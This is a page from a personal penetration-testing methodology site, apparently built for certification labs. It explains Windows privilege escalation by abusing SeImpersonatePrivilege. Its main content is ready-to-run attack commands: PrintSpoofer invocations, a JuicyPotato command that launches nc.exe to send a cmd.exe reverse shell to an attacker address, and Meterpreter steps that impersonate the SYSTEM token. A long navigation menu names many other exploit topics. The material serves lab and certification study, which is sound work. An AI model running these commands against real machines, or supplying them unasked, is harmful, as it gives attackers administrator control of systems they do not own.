Methodology
  • ๐Ÿ˜ƒWelcome
    • Bullet Proof Strategy
    • ๐Ÿ‘๏ธEnumeration
      • ๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ๐Ÿ‘๐Ÿ—จ Enumeration Cheatsheet
      • SNMP Enumeration
      • IRC Enumeration
      • LDAP Enumeration
      • RPC Enumeration
      • DNS Enumeration
      • Rsync Enumeration
      • IDENT Enumeration
      • SMB Enumeration
        • Copy of SMBPass Change
      • Web Enumeration
        • Methodology
        • Enumerating Patterns Trick
      • Kerberos Enumeration
    • ๐Ÿ‘บExploitation
      • Passwords Attacks
        • Decrypting VNC passwords
        • Decrypting Jenkins passwords
        • MongoDB Decryption
      • Web Applications
        • My little cheatsheet
        • Login Portal Strat
        • SQL injection
        • Local File Inclusion
        • WebDav
        • Wordpress
        • phpmyadmin
        • Bypassing Proxies
        • Node.Js Command Injection
        • Weak Cookies and Parameters
        • PHP Web Shells
        • Code Injection
        • Werkzeug
        • Collection of Vulnerable Apps
          • RaspAP 2.5 Authenticated RCE
          • ZenPhoto 1.4.1.4 RCE
          • Sonatype Nexus 3.21.1
          • Argus Surveillance DVR 4.0
          • SmarterMail + .Net Remote
          • H2 Web Console
          • Exhibitor for Zookeper (Exhibitor Web)
          • Subrion 4.2.1
          • RestStack API 3100
          • Kibana 5.6.15 < 6.6.1
          • Authenticated NodeBB Plugin Emoji 3.2.1
        • Discovering Hidden Parameters
        • ๐Ÿ•ด๏ธJenkins
      • Vulnerable Services
        • Authenticated MSSQL Shell
        • Authenticated PostgresSQL
        • Authenticated MongoDB
        • ClamAV - Milter 0.91.2
        • Unreal Tournament 99
        • MS17-10 Eternal Blue
        • REDIS Exploitation
        • OpenSMTPD < 6.6.2
        • James Adminitrator Remoting 2.3.2
      • Client Side Attacks
        • .ODT File Macros
      • Evil-WinRM
      • Methodology
      • Reversing
        • .net binaries
      • Enumerating Firewall
    • ๐Ÿ‘ฝPrivilege Escalation
      • Windows
        • Enumeration
        • Enumerate Permissions on Folders and Binaries
          • Insecure File Permissions
          • Modifiable Binary Path
          • Unquoted Service Path
        • Meterpreter Session Injection /Migration
        • โฒ๏ธScheduled Apps (CronJobs)
        • ๐Ÿฅ”Impersonation Attacks
        • ๐Ÿ—’๏ธDLL Hijacking
        • Passwords
          • Runas
            • Runas but Powershell
          • Autologon Credentials
        • AlwaysInstallElevated
        • Windows XP SP0/SP1
        • W10 Version 1803
        • Windows Vista x86 SP1
        • ๐Ÿ‘ปSMB Ghost
        • Local Service / Network Service Users
        • Dangerous Privileges
          • SeLoadDriver Privilege
          • SeRestore Privilege
          • ๐Ÿฅ”SeImpersonatePrivilege
          • SeBackUp Privilege
        • Bypassing AV
        • Port Forwarding to access Internal services
        • Start Up Apps
        • Other Users
        • Resources
        • M16-032
        • Upgrading Powershell to Meterpreter
      • Linux
        • Enumerating SUID binaries
          • Find SUID
          • CP SUID
          • dosbox SUID
          • start-stop-daemon SUID
          • gcore SUID
        • Fail2Ban Group
        • Upgrading TTY Shells
        • Git Repository
        • Escaping RBASH
        • Docker
        • Init, Init.d , systemd
        • Shared Objects .so Hijacking
        • Sudo Version - CVE 2021-4034
        • Tar Wilcard Injection
        • Tips to become root
        • Python based applications escalation
        • Internal Services
          • mySQL
            • MySQL User Defined Function
        • Writable Passwd
        • Exiftool Priv Esc
        • Glusterd + Docker Container Breakout
        • choom
        • Slack
      • File Transfer Methods
        • Windows
        • Linux
      • Pivoting
    • ๐Ÿ’€Elevated Post Exploitation
    • ๐ŸŸฆActive Directory
      • Attack Vectors
        • LLMNR Poisoning
        • ASREPRoast
        • Spraying
          • SMBPass Change
        • Building Userbase
        • NTLM Relay Attack
        • IPv6 Takeover
      • Post Exploitation - Enumeration
        • Bloodhound
        • Enumeration - Powerview
      • Exploitation
        • Kerberoasting
        • GMSA Password Read
        • Account Operators
        • WriteDACL over DCSync
        • GenericWrite GPO
        • PS-Remoting
        • LAPS Password Read
        • Abusing ACLs
          • GenericWrite/GenericAll/AllExtendedRights over Users
        • Groups.xml
        • Azure AD Sync Dump
        • AD Recycle Bin Group
        • Get-ChangesAll
        • WriteOwner Over Domain Admins
        • Allowed to Delegate To:
        • Force Change Password
      • Resources
    • ๐Ÿ˜ŽWalkthroughs
      • ๐ŸชจProving Grounds
      • ๐Ÿ“—Hack The Box
        • Windows
        • Linux
    • Cert Pictures :)
    • ๐ŸPython Lessons
      • Jenkins Script Groovy Console Exploit in Python
      • Kerbrute Automation
    • ๐ŸšBash Lessons
    • C# Programming
      • Process Injection Code
Powered by GitBook
On this page
  1. Welcome
  2. Privilege Escalation
  3. Windows

Impersonation Attacks

PreviousScheduled Apps (CronJobs)NextDLL Hijacking

Last updated 2 years ago

Impersonation attacks allow the attacker to impersonate Services that are running as different users and Impersonate them through the SeImpersonatePrivilege permission on Windows.

Enumeration:

whoami /priv

If the SeImpersonatePrivilege is set to Enabled that is our queue to start doing some potato attacks. :D

We got different appreaches depending on the architechture of the machine we are on.

If the machine is x64, our best strategy is to try PrintSpoofer first since it easier and doesn't require extra steps. If PrintSpoofer doesn't work then we are going to try JuicyPotato. If the architechture is x86 we are going to just try JuicyPotato. If we have a meterpreter session we will first run the command getsystem, if that fails then we will try to use the RottenPotato technique to be able to use the incognito module with more options of impersonation.

Print Spoofer

I am not entirely sure whether this is the binary I use but I am sure it will work either way.

PrintSpoofer.exe -c /path/to/payload.ex

or 

PrintSpoofer.exe -i -c cmd.exe 
Example of PrintSpoofer

JuicyPotato

This will work for either archs but just keep in mind that depending on which arch the machine is you have to use the respective version of JuicyPotato.

Juicy.Potato.x86.exe -t * -l 1337 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -p C:\Windows\System32\cmd.exe -a "/c C:\path\to\nc.exe -e cmd.exe <ip> <port>"
Examples of Juicy Potato

Change the CLSID to the one you want to impersonate, if that one doesnt work try the next one, this is a guaranteed Administrator.

RottenPotato

Meterpreter Session required.

Steps:

execute -cH -f rottenpotato.ex
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

(MeatHead PG)

(Jacko)

(AuthBy)

๐Ÿ˜ƒ
๐Ÿ‘ฝ
๐Ÿฅ”
https://app.gitbook.com/s/jVmUn0w3TYqT1Knlw8lm/privilege-escalation
https://app.gitbook.com/s/IXE4S9y1bygoobC2q1Bz/priv-escalation
GitHub - dievus/printspooferGitHub
Logo
juicy-potato/CLSID at master ยท ohpe/juicy-potatoGitHub
https://app.gitbook.com/s/ZQl9kALjcfNuYSSZ9equ/privilege-escalation
Logo